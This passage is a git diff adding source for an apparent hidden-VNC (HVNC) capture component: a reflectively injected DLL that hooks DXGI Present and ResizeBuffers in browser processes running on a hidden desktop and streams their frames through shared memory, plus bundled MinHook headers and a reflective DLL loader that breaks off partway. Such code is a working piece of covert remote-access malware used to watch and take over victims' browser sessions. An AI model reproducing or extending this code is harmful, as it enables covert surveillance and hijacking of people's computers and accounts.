+ hdr->width = w;
+ hdr->height = h;
+ hdr->stride = dstStride;
+ hdr->format = (UINT32)bbDesc.Format;
+ hdr->frameSeq = g_FrameSeq;
+ hdr->timestampNs = GetTimestampNs();
+ hdr->pid = GetCurrentProcessId();
+ hdr->reserved = 0;
+
+ MemoryBarrier();
+
+ if (g_FrameEvent) {
+ SetEvent(g_FrameEvent);
+ }
+}
+
+static void CaptureFrame(IDXGISwapChain* pSwapChain) {
+ if (!g_LockInitialized) return;
+
+ if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock
+ __try {
+ CaptureFrameInner(pSwapChain);
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER) {
+ DebugLog("[HVNCCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n",
+ GetExceptionCode());
+ }
+ LeaveCriticalSection(&g_Lock);
+}
+
+//-----------------------------------------------------------------------------------------------//
+// Hooked functions
+//-----------------------------------------------------------------------------------------------//
+static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) {
+ CaptureFrame(pSwapChain);
+ return g_OrigPresent(pSwapChain, SyncInterval, Flags);
+}
+
+static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) {
+ CaptureFrame((IDXGISwapChain*)pSwapChain);
+ return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters);
+}
+
+static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) {
+ EnterCriticalSection(&g_Lock);
+ if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
+ if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
+ g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN;
+ g_HasPrevFrame = FALSE; g_WriteIdx = 0;
+ g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0;
+ if (g_Context) { g_Context->Release(); g_Context = NULL; }
+ if (g_Device) { g_Device->Release(); g_Device = NULL; }
+ LeaveCriticalSection(&g_Lock);
+
+ return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags);
+}
+
+//-----------------------------------------------------------------------------------------------//
+// vtable discovery — create a dummy swapchain to get Present address
+//-----------------------------------------------------------------------------------------------//
+static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) {
+ *ppPresent = NULL;
+ *ppPresent1 = NULL;
+ *ppResizeBuffers = NULL;
+
+ HMODULE hD3D11 = GetModuleHandleA("d3d11.dll");
+ if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll");
+ if (!hD3D11) {
+ DebugLog("[HVNCCapture] d3d11.dll not available\n");
+ return FALSE;
+ }
+
+ typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)(
+ IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*,
+ UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**,
+ D3D_FEATURE_LEVEL*, ID3D11DeviceContext**);
+
+ PFN_D3D11CreateDeviceAndSwapChain pCreate =
+ (PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain");
+ if (!pCreate) {
+ DebugLog("[HVNCCapture] D3D11CreateDeviceAndSwapChain not found\n");
+ return FALSE;
+ }
+
+ HWND hWnd = GetDesktopWindow();
+
+ DXGI_SWAP_CHAIN_DESC scd;
+ ZeroMemory(&scd, sizeof(scd));
+ scd.BufferCount = 1;
+ scd.BufferDesc.Width = 2;
+ scd.BufferDesc.Height = 2;
+ scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
+ scd.BufferDesc.RefreshRate.Numerator = 60;
+ scd.BufferDesc.RefreshRate.Denominator = 1;
+ scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
+ scd.OutputWindow = hWnd;
+ scd.SampleDesc.Count = 1;
+ scd.Windowed = TRUE;
+ scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
+
+ IDXGISwapChain* pSwapChain = NULL;
+ ID3D11Device* pDevice = NULL;
+ ID3D11DeviceContext* pCtx = NULL;
+ D3D_FEATURE_LEVEL featureLevel;
+
+ HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0,
+ D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
+
+ if (FAILED(hr) || !pSwapChain) {
+ hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0,
+ D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
+ }
+
+ if (FAILED(hr) || !pSwapChain) {
+ DebugLog("[HVNCCapture] Failed to create dummy swapchain: 0x%08x\n", hr);
+ if (pCtx) pCtx->Release();
+ if (pDevice) pDevice->Release();
+ if (pSwapChain) pSwapChain->Release();
+ return FALSE;
+ }
+
+ // Extract vtable pointers via raw vtable read
+ // IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13
+ void** vtable = *(void***)pSwapChain;
+ *ppPresent = vtable[8];
+ *ppResizeBuffers = vtable[13];
+
+ // Try to get Present1 from IDXGISwapChain1
+ IDXGISwapChain1* pSwapChain1 = NULL;
+ hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1);
+ if (SUCCEEDED(hr) && pSwapChain1) {
+ void** vtable1 = *(void***)pSwapChain1;
+ // IDXGISwapChain1: Present1 is at vtable index 22
+ *ppPresent1 = vtable1[22];
+ pSwapChain1->Release();
+ }
+
+ pCtx->Release();
+ pDevice->Release();
+ pSwapChain->Release();
+
+ DebugLog("[HVNCCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n",
+ *ppPresent, *ppPresent1, *ppResizeBuffers);
+ return TRUE;
+}
+
+//-----------------------------------------------------------------------------------------------//
+// Public API
+//-----------------------------------------------------------------------------------------------//
+void InstallDXGICapture(void) {
+ QueryPerformanceFrequency(&g_PerfFreq);
+ QueryPerformanceCounter(&g_LastFrameTime);
+
+ InitializeCriticalSection(&g_Lock);
+ g_LockInitialized = TRUE;
+
+ MH_STATUS status = MH_Initialize();
+ if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) {
+ DebugLog("[HVNCCapture] MH_Initialize failed: %d\n", status);
+ return;
+ }
+
+ void* pPresent = NULL;
+ void* pPresent1 = NULL;
+ void* pResizeBuffers = NULL;
+
+ if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) {
+ DebugLog("[HVNCCapture] Failed to discover DXGI vtable\n");
+ return;
+ }
+
+ if (pPresent) {
+ status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent);
+ if (status == MH_OK) {
+ MH_EnableHook(pPresent);
+ DebugLog("[HVNCCapture] Present hooked at %p\n", pPresent);
+ } else {
+ DebugLog("[HVNCCapture] MH_CreateHook Present failed: %d\n", status);
+ }
+ }
+
+ if (pPresent1) {
+ status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1);
+ if (status == MH_OK) {
+ MH_EnableHook(pPresent1);
+ DebugLog("[HVNCCapture] Present1 hooked at %p\n", pPresent1);
+ } else {
+ DebugLog("[HVNCCapture] MH_CreateHook Present1 failed: %d\n", status);
+ }
+ }
+
+ if (pResizeBuffers) {
+ status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers);
+ if (status == MH_OK) {
+ MH_EnableHook(pResizeBuffers);
+ DebugLog("[HVNCCapture] ResizeBuffers hooked at %p\n", pResizeBuffers);
+ } else {
+ DebugLog("[HVNCCapture] MH_CreateHook ResizeBuffers failed: %d\n", status);
+ }
+ }
+
+ DebugLog("[HVNCCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId());
+}
+
+void RemoveDXGICapture(void) {
+ if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); }
+ if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); }
+ if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); }
+
+ MH_Uninitialize();
+
+ if (g_LockInitialized) {
+ EnterCriticalSection(&g_Lock);
+ }
+
+ if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
+ if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
+ if (g_Context) { g_Context->Release(); g_Context = NULL; }
+ if (g_Device) { g_Device->Release(); g_Device = NULL; }
+
+ if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
+ if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
+ if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; }
+
+ if (g_LockInitialized) {
+ LeaveCriticalSection(&g_Lock);
+ DeleteCriticalSection(&g_Lock);
+ g_LockInitialized = FALSE;
+ }
+
+ DebugLog("[HVNCCapture] Cleaned up\n");
+}
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/HVNCCapture/src/DXGICapture.h b/HVNCCapture/src/DXGICapture.h
new file mode 100644
index 0000000..b6ba554
--- /dev/null
+++ b/HVNCCapture/src/DXGICapture.h
@@ -0,0 +1,61 @@
+//===============================================================================================//
+// HVNCCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
+//
+// Injected into browser processes running on the hidden desktop. Hooks
+// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
+// to a named shared-memory section so the Go capture thread can read them
+// directly instead of using the slow PrintWindow API.
+//
+// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
+// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
+//
+// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
+//===============================================================================================//
+#ifndef _DXGI_CAPTURE_H
+#define _DXGI_CAPTURE_H
+
+#include
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH).
+void InstallDXGICapture(void);
+
+// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH).
+void RemoveDXGICapture(void);
+
+#ifdef __cplusplus
+}
+#endif
+
+// Shared memory header — must match Go-side definition exactly.
+#pragma pack(push, 1)
+typedef struct {
+ UINT32 magic; // 'HVNC' = 0x434E5648
+ UINT32 version; // 1
+ UINT32 width;
+ UINT32 height;
+ UINT32 stride; // bytes per row (width * 4, may be padded)
+ UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM)
+ UINT64 frameSeq; // monotonically increasing frame counter
+ UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
+ UINT32 pid; // process ID that produced this frame
+ UINT32 reserved; // alignment padding
+} HVNCFrameHeader;
+#pragma pack(pop)
+
+#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
+#define HVNC_FRAME_VERSION 1
+
+// Maximum frame dimensions we support (prevents runaway allocation)
+#define HVNC_MAX_WIDTH 7680
+#define HVNC_MAX_HEIGHT 4320
+
+// Shared memory name format — {pid} is the decimal process ID
+// e.g. "Local\hvnc_frame_12345"
+#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
+#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
+
+#endif // _DXGI_CAPTURE_H
diff --git a/HVNCCapture/src/MinHook.h b/HVNCCapture/src/MinHook.h
new file mode 100644
index 0000000..8b16ce0
--- /dev/null
+++ b/HVNCCapture/src/MinHook.h
@@ -0,0 +1,185 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#pragma once
+
+#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
+#error MinHook supports only x86 and x64 systems.
+#endif
+
+#include
+
+ // MinHook Error Codes.
+typedef enum MH_STATUS
+{
+ // Unknown error. Should not be returned.
+ MH_UNKNOWN = -1,
+
+ // Successful.
+ MH_OK = 0,
+
+ // MinHook is already initialized.
+ MH_ERROR_ALREADY_INITIALIZED,
+
+ // MinHook is not initialized yet, or already uninitialized.
+ MH_ERROR_NOT_INITIALIZED,
+
+ // The hook for the specified target function is already created.
+ MH_ERROR_ALREADY_CREATED,
+
+ // The hook for the specified target function is not created yet.
+ MH_ERROR_NOT_CREATED,
+
+ // The hook for the specified target function is already enabled.
+ MH_ERROR_ENABLED,
+
+ // The hook for the specified target function is not enabled yet, or already
+ // disabled.
+ MH_ERROR_DISABLED,
+
+ // The specified pointer is invalid. It points the address of non-allocated
+ // and/or non-executable region.
+ MH_ERROR_NOT_EXECUTABLE,
+
+ // The specified target function cannot be hooked.
+ MH_ERROR_UNSUPPORTED_FUNCTION,
+
+ // Failed to allocate memory.
+ MH_ERROR_MEMORY_ALLOC,
+
+ // Failed to change the memory protection.
+ MH_ERROR_MEMORY_PROTECT,
+
+ // The specified module is not loaded.
+ MH_ERROR_MODULE_NOT_FOUND,
+
+ // The specified function is not found.
+ MH_ERROR_FUNCTION_NOT_FOUND
+}
+MH_STATUS;
+
+// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
+// MH_QueueEnableHook or MH_QueueDisableHook.
+#define MH_ALL_HOOKS NULL
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ // Initialize the MinHook library. You must call this function EXACTLY ONCE
+ // at the beginning of your program.
+ MH_STATUS WINAPI MH_Initialize(VOID);
+
+ // Uninitialize the MinHook library. You must call this function EXACTLY
+ // ONCE at the end of your program.
+ MH_STATUS WINAPI MH_Uninitialize(VOID);
+
+ // Creates a Hook for the specified target function, in disabled state.
+ // Parameters:
+ // pTarget [in] A pointer to the target function, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
+
+ // Creates a Hook for the specified API function, in disabled state.
+ // Parameters:
+ // pszModule [in] A pointer to the loaded module name which contains the
+ // target function.
+ // pszTarget [in] A pointer to the target function name, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHookApi(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
+
+ // Creates a Hook for the specified API function, in disabled state.
+ // Parameters:
+ // pszModule [in] A pointer to the loaded module name which contains the
+ // target function.
+ // pszTarget [in] A pointer to the target function name, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ // ppTarget [out] A pointer to the target function, which will be used
+ // with other functions.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHookApiEx(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
+
+ // Removes an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
+
+ // Enables an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // enabled in one go.
+ MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
+
+ // Disables an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // disabled in one go.
+ MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
+
+ // Queues to enable an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // queued to be enabled.
+ MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
+
+ // Queues to disable an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // queued to be disabled.
+ MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
+
+ // Applies all queued changes in one go.
+ MH_STATUS WINAPI MH_ApplyQueued(VOID);
+
+ // Translates the MH_STATUS to its name as a string.
+ const char* WINAPI MH_StatusToString(MH_STATUS status);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/HVNCCapture/src/ReflectiveDLLInjection.h b/HVNCCapture/src/ReflectiveDLLInjection.h
new file mode 100644
index 0000000..72fd96b
--- /dev/null
+++ b/HVNCCapture/src/ReflectiveDLLInjection.h
@@ -0,0 +1,51 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
+#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
+//===============================================================================================//
+#define WIN32_LEAN_AND_MEAN
+#include
+
+// we declare some common stuff in here...
+
+#define DLL_QUERY_HMODULE 6
+
+#define DEREF( name )*(UINT_PTR *)(name)
+#define DEREF_64( name )*(DWORD64 *)(name)
+#define DEREF_32( name )*(DWORD *)(name)
+#define DEREF_16( name )*(WORD *)(name)
+#define DEREF_8( name )*(BYTE *)(name)
+
+typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
+typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
+
+#define DLLEXPORT __declspec( dllexport )
+
+//===============================================================================================//
+#endif
+//===============================================================================================//
diff --git a/HVNCCapture/src/ReflectiveDll.c b/HVNCCapture/src/ReflectiveDll.c
new file mode 100644
index 0000000..ce3b823
--- /dev/null
+++ b/HVNCCapture/src/ReflectiveDll.c
@@ -0,0 +1,61 @@
+//===============================================================================================//
+// HVNCCapture — ReflectiveDll.c
+//
+// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
+// is mapped into memory. Defers DXGI hook installation to a worker thread
+// because DllMain runs under the loader lock and cannot safely call
+// LoadLibrary / D3D11CreateDeviceAndSwapChain.
+//===============================================================================================//
+#include "ReflectiveLoader.h"
+#include "DXGICapture.h"
+
+extern HINSTANCE hAppInstance;
+
+static HANDLE g_InitThread = NULL;
+
+// Worker thread: waits for d3d11.dll to appear, then installs hooks.
+static DWORD WINAPI DeferredInit(LPVOID param)
+{
+ (void)param;
+ // Poll for d3d11.dll up to 60 seconds (browser may take a while)
+ for (int i = 0; i < 600; i++) {
+ if (GetModuleHandleA("d3d11.dll") != NULL)
+ break;
+ Sleep(100);
+ }
+ if (GetModuleHandleA("d3d11.dll") == NULL) {
+ // Process never loaded D3D11 — nothing to hook
+ return 0;
+ }
+ // Brief delay for swapchain creation
+ Sleep(500);
+ InstallDXGICapture();
+ return 0;
+}
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+ BOOL bReturnValue = TRUE;
+
+ switch (dwReason)
+ {
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ DisableThreadLibraryCalls(hinstDLL);
+ g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL);
+ break;
+ case DLL_PROCESS_DETACH:
+ if (g_InitThread) {
+ WaitForSingleObject(g_InitThread, 5000);
+ CloseHandle(g_InitThread);
+ g_InitThread = NULL;
+ }
+ RemoveDXGICapture();
+ break;
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+
+ return bReturnValue;
+}
diff --git a/HVNCCapture/src/ReflectiveLoader.c b/HVNCCapture/src/ReflectiveLoader.c
new file mode 100644
index 0000000..900e436
--- /dev/null
+++ b/HVNCCapture/src/ReflectiveLoader.c
@@ -0,0 +1,516 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#include "ReflectiveLoader.h"
+//===============================================================================================//
+// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
+HINSTANCE hAppInstance = NULL;
+// Store the parameter passed to ReflectiveLoader so DllMain can access it
+LPVOID g_lpReflectiveParameter = NULL;
+//===============================================================================================//
+#ifdef _MSC_VER
+#pragma intrinsic(_ReturnAddress)
+#define RDI_NOINLINE __declspec(noinline)
+#else
+#define RDI_NOINLINE __attribute__((noinline))
+#endif
+
+// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
+// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
+// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
+// available (and no inline asm available under x64).
+RDI_NOINLINE ULONG_PTR caller(VOID)
+{
+#ifdef _MSC_VER
+ return (ULONG_PTR)_ReturnAddress();
+#elif defined(__GNUC__) || defined(__clang__)
+ // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
+ return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
+#else
+ return 0;
+#endif
+}
+//===============================================================================================//
+
+// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
+// otherwise the DllMain at the end of this file will be used.
+
+// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
+// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
+
+// This is our position independent reflective DLL loader/injector
+#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
+#else
+DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
+#endif
+{
+ // the functions we need
+ LOADLIBRARYA pLoadLibraryA = NULL;
+ GETPROCADDRESS pGetProcAddress = NULL;
+ VIRTUALALLOC pVirtualAlloc = NULL;
+ NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
+
+ USHORT usCounter;
+
+ // the initial location of this image in memory
+ ULONG_PTR uiLibraryAddress;
+ // the kernels base address and later this images newly loaded base address
+ ULONG_PTR uiBaseAddress;
+
+ // variables for processing the kernels export table
+ ULONG_PTR uiAddressArray;
+ ULONG_PTR uiNameArray;
+ ULONG_PTR uiExportDir;
+ ULONG_PTR uiNameOrdinals;
+ DWORD dwHashValue;
+
+ // variables for loading this image
+ ULONG_PTR uiHeaderValue;
+ ULONG_PTR uiValueA;
+ ULONG_PTR uiValueB;
+ ULONG_PTR uiValueC;
+ ULONG_PTR uiValueD;
+ ULONG_PTR uiValueE;
+
+ // STEP 0: calculate our images current base address
+
+ // we will start searching backwards from our callers return address.
+ uiLibraryAddress = caller();
+
+ // loop through memory backwards searching for our images base address
+ // we dont need SEH style search as we shouldnt generate any access violations with this
+ while (TRUE)
+ {
+ if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
+ {
+ uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+ // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
+ // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
+ if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
+ {
+ uiHeaderValue += uiLibraryAddress;
+ // break if we have found a valid MZ/PE header
+ if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
+ break;
+ }
+ }
+ uiLibraryAddress--;
+ }
+
+ // STEP 1: process the kernels exports for the functions our loader needs...
+
+ // get the Process Enviroment Block
+#ifdef WIN_X64
+ uiBaseAddress = __readgsqword(0x60);
+#else
+#ifdef WIN_X86
+ uiBaseAddress = __readfsdword(0x30);
+#else WIN_ARM
+ uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
+#endif
+#endif
+
+ // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
+ uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
+
+ // get the first entry of the InMemoryOrder module list
